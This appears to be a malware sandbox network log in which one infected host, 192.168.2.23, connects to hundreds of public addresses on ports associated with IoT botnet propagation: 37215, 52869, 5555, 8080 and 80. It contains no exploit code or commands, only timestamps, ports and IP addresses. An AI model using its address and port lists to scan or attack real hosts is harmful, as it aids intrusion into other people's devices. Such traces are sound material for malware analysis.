Feb 12, 2023 21:25:04.309643984 CET	52981	37215	192.168.2.23	41.206.131.136
Feb 12, 2023 21:25:04.309673071 CET	52981	37215	192.168.2.23	157.226.238.159
Feb 12, 2023 21:25:04.309699059 CET	52981	37215	192.168.2.23	190.99.129.67
Feb 12, 2023 21:25:04.309699059 CET	52981	37215	192.168.2.23	197.158.213.125
Feb 12, 2023 21:25:04.309705973 CET	52981	37215	192.168.2.23	82.95.98.203
Feb 12, 2023 21:25:04.309746981 CET	52981	37215	192.168.2.23	41.81.96.91
Feb 12, 2023 21:25:04.309750080 CET	52981	37215	192.168.2.23	62.76.156.25
Feb 12, 2023 21:25:04.309802055 CET	52981	37215	192.168.2.23	41.229.18.225
Feb 12, 2023 21:25:04.309807062 CET	52981	37215	192.168.2.23	157.139.108.35
Feb 12, 2023 21:25:04.309813976 CET	52981	37215	192.168.2.23	157.219.33.183
Feb 12, 2023 21:25:04.309822083 CET	52981	37215	192.168.2.23	197.226.132.155
Feb 12, 2023 21:25:04.309833050 CET	52981	37215	192.168.2.23	157.70.85.243
Feb 12, 2023 21:25:04.309848070 CET	52981	37215	192.168.2.23	133.85.173.160
Feb 12, 2023 21:25:04.309881926 CET	52981	37215	192.168.2.23	157.64.232.61
Feb 12, 2023 21:25:04.309890985 CET	52981	37215	192.168.2.23	197.252.116.14
Feb 12, 2023 21:25:04.309920073 CET	52981	37215	192.168.2.23	41.213.182.191
Feb 12, 2023 21:25:04.309920073 CET	52981	37215	192.168.2.23	157.142.47.166
Feb 12, 2023 21:25:04.309937000 CET	52981	37215	192.168.2.23	197.121.99.180
Feb 12, 2023 21:25:04.309956074 CET	52981	37215	192.168.2.23	41.230.96.238
Feb 12, 2023 21:25:04.309957027 CET	52981	37215	192.168.2.23	157.196.7.252
Feb 12, 2023 21:25:04.309967995 CET	52981	37215	192.168.2.23	188.229.33.61
Feb 12, 2023 21:25:04.309986115 CET	52981	37215	192.168.2.23	137.173.90.159
Feb 12, 2023 21:25:04.310003042 CET	52981	37215	192.168.2.23	41.218.200.139
Feb 12, 2023 21:25:04.310025930 CET	52981	37215	192.168.2.23	41.107.255.187
Feb 12, 2023 21:25:04.310060978 CET	52981	37215	192.168.2.23	197.72.8.107
Feb 12, 2023 21:25:04.310076952 CET	52981	37215	192.168.2.23	197.233.165.239
Feb 12, 2023 21:25:04.310076952 CET	52981	37215	192.168.2.23	197.241.0.19
Feb 12, 2023 21:25:04.310107946 CET	52981	37215	192.168.2.23	175.12.157.40
Feb 12, 2023 21:25:04.310121059 CET	52981	37215	192.168.2.23	157.249.250.2
Feb 12, 2023 21:25:04.310137033 CET	52981	37215	192.168.2.23	40.73.98.3
Feb 12, 2023 21:25:04.310153008 CET	52981	37215	192.168.2.23	197.208.193.131
Feb 12, 2023 21:25:04.310184956 CET	52981	37215	192.168.2.23	157.130.130.164
Feb 12, 2023 21:25:04.310193062 CET	52981	37215	192.168.2.23	59.61.145.235
Feb 12, 2023 21:25:04.310206890 CET	52981	37215	192.168.2.23	157.52.79.30
Feb 12, 2023 21:25:04.310230017 CET	52981	37215	192.168.2.23	157.59.255.108
Feb 12, 2023 21:25:04.310244083 CET	52981	37215	192.168.2.23	200.23.4.126
Feb 12, 2023 21:25:04.310276031 CET	52981	37215	192.168.2.23	4.93.100.184
Feb 12, 2023 21:25:04.310281038 CET	52981	37215	192.168.2.23	197.47.175.38
Feb 12, 2023 21:25:04.310292959 CET	52981	37215	192.168.2.23	41.46.224.164
Feb 12, 2023 21:25:04.310305119 CET	52981	37215	192.168.2.23	197.51.186.64
Feb 12, 2023 21:25:04.310328960 CET	52981	37215	192.168.2.23	41.32.22.225
Feb 12, 2023 21:25:04.310342073 CET	52981	37215	192.168.2.23	178.240.69.66
Feb 12, 2023 21:25:04.310380936 CET	52981	37215	192.168.2.23	220.50.43.96
Feb 12, 2023 21:25:04.310389042 CET	52981	37215	192.168.2.23	157.121.131.197
Feb 12, 2023 21:25:04.310389996 CET	52981	37215	192.168.2.23	109.79.172.255
Feb 12, 2023 21:25:04.310403109 CET	52981	37215	192.168.2.23	160.197.23.179
Feb 12, 2023 21:25:04.310415983 CET	52981	37215	192.168.2.23	197.31.101.21
Feb 12, 2023 21:25:04.310436010 CET	52981	37215	192.168.2.23	41.56.104.233
Feb 12, 2023 21:25:04.310470104 CET	52981	37215	192.168.2.23	218.13.77.2
Feb 12, 2023 21:25:04.310477972 CET	52981	37215	192.168.2.23	41.21.212.222
Feb 12, 2023 21:25:04.310502052 CET	52981	37215	192.168.2.23	197.53.236.134
Feb 12, 2023 21:25:04.310511112 CET	52981	37215	192.168.2.23	5.225.230.19
Feb 12, 2023 21:25:04.310527086 CET	52981	37215	192.168.2.23	144.71.88.21
Feb 12, 2023 21:25:04.310537100 CET	52981	37215	192.168.2.23	41.227.207.48
Feb 12, 2023 21:25:04.310559034 CET	52981	37215	192.168.2.23	41.254.86.17
Feb 12, 2023 21:25:04.310583115 CET	52981	37215	192.168.2.23	197.154.28.137
Feb 12, 2023 21:25:04.310600042 CET	52981	37215	192.168.2.23	94.41.188.202
Feb 12, 2023 21:25:04.310623884 CET	52981	37215	192.168.2.23	9.199.41.104
Feb 12, 2023 21:25:04.310633898 CET	52981	37215	192.168.2.23	41.168.126.235
Feb 12, 2023 21:25:04.310669899 CET	52981	37215	192.168.2.23	157.101.101.181
Feb 12, 2023 21:25:04.310679913 CET	52981	37215	192.168.2.23	157.18.153.172
Feb 12, 2023 21:25:04.310681105 CET	52981	37215	192.168.2.23	105.201.103.92
Feb 12, 2023 21:25:04.310726881 CET	52981	37215	192.168.2.23	197.95.81.246
Feb 12, 2023 21:25:04.310740948 CET	52981	37215	192.168.2.23	41.201.54.70
Feb 12, 2023 21:25:04.310760975 CET	52981	37215	192.168.2.23	41.14.212.247
Feb 12, 2023 21:25:04.310790062 CET	52981	37215	192.168.2.23	157.242.123.209
Feb 12, 2023 21:25:04.310805082 CET	52981	37215	192.168.2.23	197.181.65.197
Feb 12, 2023 21:25:04.310828924 CET	52981	37215	192.168.2.23	58.115.235.148
Feb 12, 2023 21:25:04.310858011 CET	52981	37215	192.168.2.23	157.28.225.73
Feb 12, 2023 21:25:04.310887098 CET	52981	37215	192.168.2.23	157.127.39.6
Feb 12, 2023 21:25:04.310925961 CET	52981	37215	192.168.2.23	51.202.86.44
Feb 12, 2023 21:25:04.310969114 CET	52981	37215	192.168.2.23	197.25.215.26
Feb 12, 2023 21:25:04.310970068 CET	52981	37215	192.168.2.23	157.129.40.158
Feb 12, 2023 21:25:04.310970068 CET	52981	37215	192.168.2.23	197.246.143.46
Feb 12, 2023 21:25:04.310973883 CET	52981	37215	192.168.2.23	41.194.169.147
Feb 12, 2023 21:25:04.311012030 CET	52981	37215	192.168.2.23	197.252.139.33
Feb 12, 2023 21:25:04.311023951 CET	52981	37215	192.168.2.23	103.142.242.175
Feb 12, 2023 21:25:04.311026096 CET	52981	37215	192.168.2.23	197.184.166.214
Feb 12, 2023 21:25:04.311026096 CET	52981	37215	192.168.2.23	197.31.29.65
Feb 12, 2023 21:25:04.311034918 CET	52981	37215	192.168.2.23	41.44.148.157
Feb 12, 2023 21:25:04.311045885 CET	52981	37215	192.168.2.23	197.227.158.50
Feb 12, 2023 21:25:04.311045885 CET	52981	37215	192.168.2.23	41.41.224.115
Feb 12, 2023 21:25:04.311054945 CET	52981	37215	192.168.2.23	157.207.239.136
Feb 12, 2023 21:25:04.311058044 CET	52981	37215	192.168.2.23	41.49.68.188
Feb 12, 2023 21:25:04.311116934 CET	52981	37215	192.168.2.23	197.175.186.84
Feb 12, 2023 21:25:04.311116934 CET	52981	37215	192.168.2.23	129.206.94.43
Feb 12, 2023 21:25:04.311122894 CET	52981	37215	192.168.2.23	197.44.214.103
Feb 12, 2023 21:25:04.311131954 CET	52981	37215	192.168.2.23	197.93.224.249
Feb 12, 2023 21:25:04.311132908 CET	52981	37215	192.168.2.23	157.42.227.42
Feb 12, 2023 21:25:04.311158895 CET	52981	37215	192.168.2.23	197.45.38.223
Feb 12, 2023 21:25:04.311187029 CET	52981	37215	192.168.2.23	157.139.65.23
Feb 12, 2023 21:25:04.311188936 CET	52981	37215	192.168.2.23	199.121.16.140
Feb 12, 2023 21:25:04.311217070 CET	52981	37215	192.168.2.23	150.229.253.25
Feb 12, 2023 21:25:04.335345030 CET	37215	52981	185.103.254.134	192.168.2.23
Feb 12, 2023 21:25:04.369227886 CET	37215	52981	197.195.75.157	192.168.2.23
Feb 12, 2023 21:25:04.369393110 CET	52981	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:04.377157927 CET	37215	52981	5.225.230.19	192.168.2.23
Feb 12, 2023 21:25:04.423820972 CET	37215	52981	197.7.246.232	192.168.2.23
Feb 12, 2023 21:25:04.466806889 CET	55322	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:04.468961000 CET	55324	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:04.470834970 CET	55326	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:04.472711086 CET	56082	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:04.474827051 CET	56084	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:04.476872921 CET	55332	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:04.559040070 CET	60822	80	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:04.559294939 CET	37215	52981	197.6.45.88	192.168.2.23
Feb 12, 2023 21:25:04.559413910 CET	37215	52981	197.6.45.88	192.168.2.23
Feb 12, 2023 21:25:04.559442043 CET	52981	37215	192.168.2.23	197.6.45.88
Feb 12, 2023 21:25:04.591037035 CET	36346	80	192.168.2.23	49.55.51.46
Feb 12, 2023 21:25:04.591041088 CET	59884	80	192.168.2.23	49.57.48.46
Feb 12, 2023 21:25:04.591046095 CET	42320	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:04.591087103 CET	45802	80	192.168.2.23	53.50.46.50
Feb 12, 2023 21:25:04.591090918 CET	40346	80	192.168.2.23	49.54.51.46
Feb 12, 2023 21:25:04.591090918 CET	36672	80	192.168.2.23	49.54.56.46
Feb 12, 2023 21:25:04.591090918 CET	37550	80	192.168.2.23	50.46.54.48
Feb 12, 2023 21:25:04.591090918 CET	44702	80	192.168.2.23	49.55.55.46
Feb 12, 2023 21:25:04.591100931 CET	37360	80	192.168.2.23	50.48.50.46
Feb 12, 2023 21:25:04.591100931 CET	33230	80	192.168.2.23	51.51.46.51
Feb 12, 2023 21:25:04.623006105 CET	48132	52869	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:04.654902935 CET	42788	52869	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:04.654917955 CET	59114	52869	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:04.654921055 CET	46434	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:04.654918909 CET	54572	52869	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:04.654953003 CET	36656	52869	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:04.654953003 CET	38184	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:04.686904907 CET	35270	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:04.686920881 CET	34784	52869	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:04.686943054 CET	45422	52869	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:04.697570086 CET	37215	52981	41.232.10.118	192.168.2.23
Feb 12, 2023 21:25:04.778528929 CET	34646	80	192.168.2.23	53.46.51.53
Feb 12, 2023 21:25:04.780541897 CET	36066	80	192.168.2.23	56.56.46.50
Feb 12, 2023 21:25:04.782058954 CET	55664	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:25:04.784192085 CET	57894	80	192.168.2.23	52.49.46.49
Feb 12, 2023 21:25:04.786335945 CET	39778	80	192.168.2.23	55.56.46.50
Feb 12, 2023 21:25:04.788297892 CET	51816	80	192.168.2.23	54.50.46.51
Feb 12, 2023 21:25:04.829423904 CET	80	57894	52.49.46.49	192.168.2.23
Feb 12, 2023 21:25:04.829757929 CET	57894	80	192.168.2.23	52.49.46.49
Feb 12, 2023 21:25:04.854259968 CET	57894	80	192.168.2.23	52.49.46.49
Feb 12, 2023 21:25:04.878983021 CET	38202	49152	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:04.899591923 CET	80	57894	52.49.46.49	192.168.2.23
Feb 12, 2023 21:25:04.899755955 CET	57894	80	192.168.2.23	52.49.46.49
Feb 12, 2023 21:25:04.975040913 CET	22272	5555	192.168.2.23	27.87.163.156
Feb 12, 2023 21:25:04.975055933 CET	22272	5555	192.168.2.23	45.117.176.197
Feb 12, 2023 21:25:04.975059986 CET	22272	5555	192.168.2.23	85.200.215.162
Feb 12, 2023 21:25:04.975086927 CET	22272	5555	192.168.2.23	104.161.166.21
Feb 12, 2023 21:25:04.975086927 CET	22272	5555	192.168.2.23	20.152.182.70
Feb 12, 2023 21:25:04.975090027 CET	22272	5555	192.168.2.23	210.127.40.3
Feb 12, 2023 21:25:04.975086927 CET	22272	5555	192.168.2.23	46.179.215.187
Feb 12, 2023 21:25:04.975090027 CET	22272	5555	192.168.2.23	187.93.115.165
Feb 12, 2023 21:25:04.975114107 CET	22272	5555	192.168.2.23	176.136.222.51
Feb 12, 2023 21:25:04.975117922 CET	22272	5555	192.168.2.23	164.216.182.211
Feb 12, 2023 21:25:04.975131989 CET	22272	5555	192.168.2.23	181.172.175.242
Feb 12, 2023 21:25:04.975132942 CET	22272	5555	192.168.2.23	95.207.95.209
Feb 12, 2023 21:25:04.975132942 CET	22272	5555	192.168.2.23	125.240.207.116
Feb 12, 2023 21:25:04.975136042 CET	22272	5555	192.168.2.23	68.255.172.11
Feb 12, 2023 21:25:04.975136042 CET	22272	5555	192.168.2.23	118.53.59.2
Feb 12, 2023 21:25:04.975142002 CET	22272	5555	192.168.2.23	157.139.228.226
Feb 12, 2023 21:25:04.975142002 CET	22272	5555	192.168.2.23	58.176.250.225
Feb 12, 2023 21:25:04.975151062 CET	22272	5555	192.168.2.23	193.6.149.194
Feb 12, 2023 21:25:04.975151062 CET	22272	5555	192.168.2.23	189.115.167.213
Feb 12, 2023 21:25:04.975153923 CET	22272	5555	192.168.2.23	122.79.2.145
Feb 12, 2023 21:25:04.975151062 CET	22272	5555	192.168.2.23	103.64.83.170
Feb 12, 2023 21:25:04.975151062 CET	22272	5555	192.168.2.23	108.17.230.177
Feb 12, 2023 21:25:04.975156069 CET	22272	5555	192.168.2.23	213.6.191.209
Feb 12, 2023 21:25:04.975167036 CET	22272	5555	192.168.2.23	221.1.38.133
Feb 12, 2023 21:25:04.975167990 CET	22272	5555	192.168.2.23	99.168.49.128
Feb 12, 2023 21:25:04.975174904 CET	22272	5555	192.168.2.23	4.36.166.238
Feb 12, 2023 21:25:04.975174904 CET	22272	5555	192.168.2.23	61.9.35.17
Feb 12, 2023 21:25:04.975181103 CET	22272	5555	192.168.2.23	71.191.71.158
Feb 12, 2023 21:25:04.975195885 CET	22272	5555	192.168.2.23	37.248.134.117
Feb 12, 2023 21:25:04.975195885 CET	22272	5555	192.168.2.23	24.240.134.177
Feb 12, 2023 21:25:04.975207090 CET	22272	5555	192.168.2.23	120.166.16.170
Feb 12, 2023 21:25:04.975207090 CET	22272	5555	192.168.2.23	50.214.202.2
Feb 12, 2023 21:25:04.975223064 CET	22272	5555	192.168.2.23	169.72.105.131
Feb 12, 2023 21:25:04.975229025 CET	22272	5555	192.168.2.23	218.17.96.212
Feb 12, 2023 21:25:04.975231886 CET	22272	5555	192.168.2.23	198.115.103.92
Feb 12, 2023 21:25:04.975234032 CET	22272	5555	192.168.2.23	14.209.19.6
Feb 12, 2023 21:25:04.975231886 CET	22272	5555	192.168.2.23	93.146.174.6
Feb 12, 2023 21:25:04.975234032 CET	22272	5555	192.168.2.23	149.145.126.153
Feb 12, 2023 21:25:04.975231886 CET	22272	5555	192.168.2.23	116.218.241.35
Feb 12, 2023 21:25:04.975234032 CET	22272	5555	192.168.2.23	47.118.110.196
Feb 12, 2023 21:25:04.975231886 CET	22272	5555	192.168.2.23	64.140.83.47
Feb 12, 2023 21:25:04.975231886 CET	22272	5555	192.168.2.23	77.167.152.84
Feb 12, 2023 21:25:04.975258112 CET	22272	5555	192.168.2.23	37.224.129.222
Feb 12, 2023 21:25:04.975258112 CET	22272	5555	192.168.2.23	205.113.78.25
Feb 12, 2023 21:25:04.975270033 CET	22272	5555	192.168.2.23	83.156.252.62
Feb 12, 2023 21:25:04.975271940 CET	22272	5555	192.168.2.23	36.22.192.74
Feb 12, 2023 21:25:04.975138903 CET	22272	5555	192.168.2.23	4.202.182.127
Feb 12, 2023 21:25:04.975272894 CET	22272	5555	192.168.2.23	78.9.143.94
Feb 12, 2023 21:25:04.975274086 CET	22272	5555	192.168.2.23	31.57.247.16
Feb 12, 2023 21:25:04.975274086 CET	22272	5555	192.168.2.23	188.28.68.37
Feb 12, 2023 21:25:04.975275993 CET	22272	5555	192.168.2.23	80.102.51.80
Feb 12, 2023 21:25:04.975291014 CET	22272	5555	192.168.2.23	204.197.236.162
Feb 12, 2023 21:25:04.975291014 CET	22272	5555	192.168.2.23	71.30.152.91
Feb 12, 2023 21:25:04.975297928 CET	22272	5555	192.168.2.23	121.203.3.96
Feb 12, 2023 21:25:04.975298882 CET	22272	5555	192.168.2.23	163.17.102.71
Feb 12, 2023 21:25:04.975297928 CET	22272	5555	192.168.2.23	73.232.227.28
Feb 12, 2023 21:25:04.975298882 CET	22272	5555	192.168.2.23	218.100.214.2
Feb 12, 2023 21:25:04.975297928 CET	22272	5555	192.168.2.23	63.176.57.129
Feb 12, 2023 21:25:04.975298882 CET	22272	5555	192.168.2.23	129.90.138.161
Feb 12, 2023 21:25:04.975301027 CET	22272	5555	192.168.2.23	52.219.248.173
Feb 12, 2023 21:25:04.975298882 CET	22272	5555	192.168.2.23	57.12.55.90
Feb 12, 2023 21:25:04.975302935 CET	22272	5555	192.168.2.23	155.68.76.189
Feb 12, 2023 21:25:04.975306034 CET	22272	5555	192.168.2.23	154.127.99.194
Feb 12, 2023 21:25:04.975306034 CET	22272	5555	192.168.2.23	184.239.206.148
Feb 12, 2023 21:25:04.975306034 CET	22272	5555	192.168.2.23	75.103.142.209
Feb 12, 2023 21:25:04.975307941 CET	22272	5555	192.168.2.23	144.11.240.112
Feb 12, 2023 21:25:04.975307941 CET	22272	5555	192.168.2.23	209.190.246.108
Feb 12, 2023 21:25:04.975308895 CET	22272	5555	192.168.2.23	130.113.104.11
Feb 12, 2023 21:25:04.975308895 CET	22272	5555	192.168.2.23	218.33.138.16
Feb 12, 2023 21:25:04.975308895 CET	22272	5555	192.168.2.23	93.224.205.18
Feb 12, 2023 21:25:04.975322962 CET	22272	5555	192.168.2.23	194.189.158.118
Feb 12, 2023 21:25:04.975332022 CET	22272	5555	192.168.2.23	65.42.150.220
Feb 12, 2023 21:25:04.975332975 CET	22272	5555	192.168.2.23	43.12.57.146
Feb 12, 2023 21:25:04.975332975 CET	22272	5555	192.168.2.23	69.236.222.193
Feb 12, 2023 21:25:04.975333929 CET	22272	5555	192.168.2.23	209.208.56.96
Feb 12, 2023 21:25:04.975333929 CET	22272	5555	192.168.2.23	102.116.236.98
Feb 12, 2023 21:25:04.975333929 CET	22272	5555	192.168.2.23	76.93.92.135
Feb 12, 2023 21:25:04.975333929 CET	22272	5555	192.168.2.23	74.115.181.0
Feb 12, 2023 21:25:04.975333929 CET	22272	5555	192.168.2.23	192.38.187.74
Feb 12, 2023 21:25:04.975334883 CET	22272	5555	192.168.2.23	148.100.110.141
Feb 12, 2023 21:25:04.975334883 CET	22272	5555	192.168.2.23	103.7.160.199
Feb 12, 2023 21:25:04.975354910 CET	22272	5555	192.168.2.23	49.138.221.101
Feb 12, 2023 21:25:04.975354910 CET	22272	5555	192.168.2.23	125.156.1.77
Feb 12, 2023 21:25:04.975358009 CET	22272	5555	192.168.2.23	83.105.147.75
Feb 12, 2023 21:25:04.975358009 CET	22272	5555	192.168.2.23	72.103.30.180
Feb 12, 2023 21:25:04.975369930 CET	22272	5555	192.168.2.23	149.225.198.48
Feb 12, 2023 21:25:04.975369930 CET	22272	5555	192.168.2.23	187.45.42.193
Feb 12, 2023 21:25:04.975370884 CET	22272	5555	192.168.2.23	207.119.61.234
Feb 12, 2023 21:25:04.975369930 CET	22272	5555	192.168.2.23	182.228.114.59
Feb 12, 2023 21:25:04.975369930 CET	22272	5555	192.168.2.23	172.14.112.236
Feb 12, 2023 21:25:04.975369930 CET	22272	5555	192.168.2.23	134.144.116.129
Feb 12, 2023 21:25:04.975373030 CET	22272	5555	192.168.2.23	174.38.145.103
Feb 12, 2023 21:25:04.975369930 CET	22272	5555	192.168.2.23	137.254.197.146
Feb 12, 2023 21:25:04.975392103 CET	22272	5555	192.168.2.23	211.90.56.181
Feb 12, 2023 21:25:04.975392103 CET	22272	5555	192.168.2.23	154.242.186.110
Feb 12, 2023 21:25:04.975398064 CET	22272	5555	192.168.2.23	159.78.160.172
Feb 12, 2023 21:25:04.975398064 CET	22272	5555	192.168.2.23	41.243.153.119
Feb 12, 2023 21:25:04.975406885 CET	22272	5555	192.168.2.23	169.40.22.198
Feb 12, 2023 21:25:04.975406885 CET	22272	5555	192.168.2.23	123.150.174.156
Feb 12, 2023 21:25:04.975406885 CET	22272	5555	192.168.2.23	117.19.249.3
Feb 12, 2023 21:25:04.975406885 CET	22272	5555	192.168.2.23	185.157.236.106
Feb 12, 2023 21:25:04.975408077 CET	22272	5555	192.168.2.23	202.129.65.199
Feb 12, 2023 21:25:04.975409031 CET	22272	5555	192.168.2.23	47.68.227.94
Feb 12, 2023 21:25:04.975408077 CET	22272	5555	192.168.2.23	74.18.180.140
Feb 12, 2023 21:25:04.975410938 CET	22272	5555	192.168.2.23	193.96.35.119
Feb 12, 2023 21:25:04.975408077 CET	22272	5555	192.168.2.23	174.30.5.122
Feb 12, 2023 21:25:04.975409031 CET	22272	5555	192.168.2.23	2.87.28.92
Feb 12, 2023 21:25:04.975415945 CET	22272	5555	192.168.2.23	150.72.173.56
Feb 12, 2023 21:25:04.975415945 CET	22272	5555	192.168.2.23	131.213.56.23
Feb 12, 2023 21:25:04.975415945 CET	22272	5555	192.168.2.23	152.29.250.3
Feb 12, 2023 21:25:04.975415945 CET	22272	5555	192.168.2.23	113.249.232.58
Feb 12, 2023 21:25:04.975415945 CET	22272	5555	192.168.2.23	174.1.226.28
Feb 12, 2023 21:25:04.975416899 CET	22272	5555	192.168.2.23	80.223.15.111
Feb 12, 2023 21:25:04.975425005 CET	22272	5555	192.168.2.23	31.84.112.78
Feb 12, 2023 21:25:04.975431919 CET	22272	5555	192.168.2.23	115.220.168.202
Feb 12, 2023 21:25:04.975435972 CET	22272	5555	192.168.2.23	139.143.229.174
Feb 12, 2023 21:25:04.975435972 CET	22272	5555	192.168.2.23	201.211.238.179
Feb 12, 2023 21:25:04.975435972 CET	22272	5555	192.168.2.23	122.75.24.220
Feb 12, 2023 21:25:04.975436926 CET	22272	5555	192.168.2.23	39.83.104.55
Feb 12, 2023 21:25:04.975440025 CET	22272	5555	192.168.2.23	200.215.3.91
Feb 12, 2023 21:25:04.975446939 CET	22272	5555	192.168.2.23	4.71.125.13
Feb 12, 2023 21:25:04.975446939 CET	22272	5555	192.168.2.23	96.213.146.182
Feb 12, 2023 21:25:04.975451946 CET	22272	5555	192.168.2.23	48.48.198.74
Feb 12, 2023 21:25:04.975456953 CET	22272	5555	192.168.2.23	168.122.64.163
Feb 12, 2023 21:25:04.975451946 CET	22272	5555	192.168.2.23	86.232.46.185
Feb 12, 2023 21:25:04.975464106 CET	22272	5555	192.168.2.23	189.163.210.47
Feb 12, 2023 21:25:04.975464106 CET	22272	5555	192.168.2.23	153.132.242.193
Feb 12, 2023 21:25:04.975465059 CET	22272	5555	192.168.2.23	144.34.2.226
Feb 12, 2023 21:25:04.975465059 CET	22272	5555	192.168.2.23	220.217.144.36
Feb 12, 2023 21:25:04.975465059 CET	22272	5555	192.168.2.23	217.156.62.90
Feb 12, 2023 21:25:04.975465059 CET	22272	5555	192.168.2.23	18.3.237.254
Feb 12, 2023 21:25:04.975465059 CET	22272	5555	192.168.2.23	179.21.108.200
Feb 12, 2023 21:25:04.975476027 CET	22272	5555	192.168.2.23	27.114.3.143
Feb 12, 2023 21:25:04.975476027 CET	22272	5555	192.168.2.23	138.164.242.24
Feb 12, 2023 21:25:04.975490093 CET	22272	5555	192.168.2.23	133.65.225.170
Feb 12, 2023 21:25:04.975490093 CET	22272	5555	192.168.2.23	167.9.207.18
Feb 12, 2023 21:25:04.975492001 CET	22272	5555	192.168.2.23	147.219.98.71
Feb 12, 2023 21:25:04.975492001 CET	22272	5555	192.168.2.23	1.250.192.0
Feb 12, 2023 21:25:04.975492001 CET	22272	5555	192.168.2.23	123.242.165.250
Feb 12, 2023 21:25:04.975492954 CET	22272	5555	192.168.2.23	121.244.40.239
Feb 12, 2023 21:25:04.975495100 CET	22272	5555	192.168.2.23	79.151.232.134
Feb 12, 2023 21:25:04.975500107 CET	22272	5555	192.168.2.23	49.135.127.193
Feb 12, 2023 21:25:04.975500107 CET	22272	5555	192.168.2.23	219.255.163.145
Feb 12, 2023 21:25:04.975500107 CET	22272	5555	192.168.2.23	204.73.174.231
Feb 12, 2023 21:25:04.975505114 CET	22272	5555	192.168.2.23	217.189.91.214
Feb 12, 2023 21:25:04.975507021 CET	22272	5555	192.168.2.23	84.227.126.20
Feb 12, 2023 21:25:04.975507021 CET	22272	5555	192.168.2.23	105.198.138.111
Feb 12, 2023 21:25:04.975507021 CET	22272	5555	192.168.2.23	86.108.61.50
Feb 12, 2023 21:25:04.975521088 CET	22272	5555	192.168.2.23	109.11.180.21
Feb 12, 2023 21:25:04.975521088 CET	22272	5555	192.168.2.23	75.229.84.70
Feb 12, 2023 21:25:04.975532055 CET	22272	5555	192.168.2.23	51.235.60.139
Feb 12, 2023 21:25:04.975532055 CET	22272	5555	192.168.2.23	161.170.43.126
Feb 12, 2023 21:25:04.975533009 CET	22272	5555	192.168.2.23	163.11.53.172
Feb 12, 2023 21:25:04.975533009 CET	22272	5555	192.168.2.23	111.86.76.54
Feb 12, 2023 21:25:04.975533962 CET	22272	5555	192.168.2.23	219.63.93.176
Feb 12, 2023 21:25:04.975533962 CET	22272	5555	192.168.2.23	32.109.51.181
Feb 12, 2023 21:25:04.975537062 CET	22272	5555	192.168.2.23	61.108.100.245
Feb 12, 2023 21:25:04.975590944 CET	22272	5555	192.168.2.23	104.61.151.65
Feb 12, 2023 21:25:04.975590944 CET	22272	5555	192.168.2.23	157.104.182.45
Feb 12, 2023 21:25:04.975590944 CET	22272	5555	192.168.2.23	199.248.67.255
Feb 12, 2023 21:25:05.006984949 CET	52314	8080	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:05.006985903 CET	38402	8080	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:05.006985903 CET	41102	8080	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.007034063 CET	41030	8080	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:05.007034063 CET	44002	8080	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:05.007050037 CET	52696	8080	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:05.039024115 CET	55594	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:05.039031029 CET	50632	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:05.039031982 CET	36330	8080	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:05.048264980 CET	5555	22272	213.6.191.209	192.168.2.23
Feb 12, 2023 21:25:05.071012020 CET	52022	8080	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:05.091078997 CET	57162	52869	192.168.2.23	53.54.46.57
Feb 12, 2023 21:25:05.093199015 CET	52920	52869	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:05.095496893 CET	50416	52869	192.168.2.23	49.55.52.46
Feb 12, 2023 21:25:05.097655058 CET	46530	52869	192.168.2.23	53.54.46.52
Feb 12, 2023 21:25:05.100589991 CET	48642	52869	192.168.2.23	51.53.46.50
Feb 12, 2023 21:25:05.102474928 CET	48044	52869	192.168.2.23	55.56.46.51
Feb 12, 2023 21:25:05.103658915 CET	5555	22272	75.103.142.209	192.168.2.23
Feb 12, 2023 21:25:05.104593039 CET	50038	52869	192.168.2.23	50.48.51.46
Feb 12, 2023 21:25:05.106640100 CET	44774	52869	192.168.2.23	52.57.46.49
Feb 12, 2023 21:25:05.109107971 CET	60786	52869	192.168.2.23	53.57.46.50
Feb 12, 2023 21:25:05.110619068 CET	39138	52869	192.168.2.23	50.48.46.50
Feb 12, 2023 21:25:05.135119915 CET	55026	80	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:05.135128021 CET	46940	80	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:05.135128021 CET	42452	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:05.135147095 CET	58926	80	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:05.135200024 CET	33524	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:05.135216951 CET	52604	80	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:05.135247946 CET	60342	80	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:05.135267973 CET	34588	80	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:05.135278940 CET	37584	80	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:05.135307074 CET	47492	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:05.167002916 CET	33922	8080	192.168.2.23	52.46.56.46
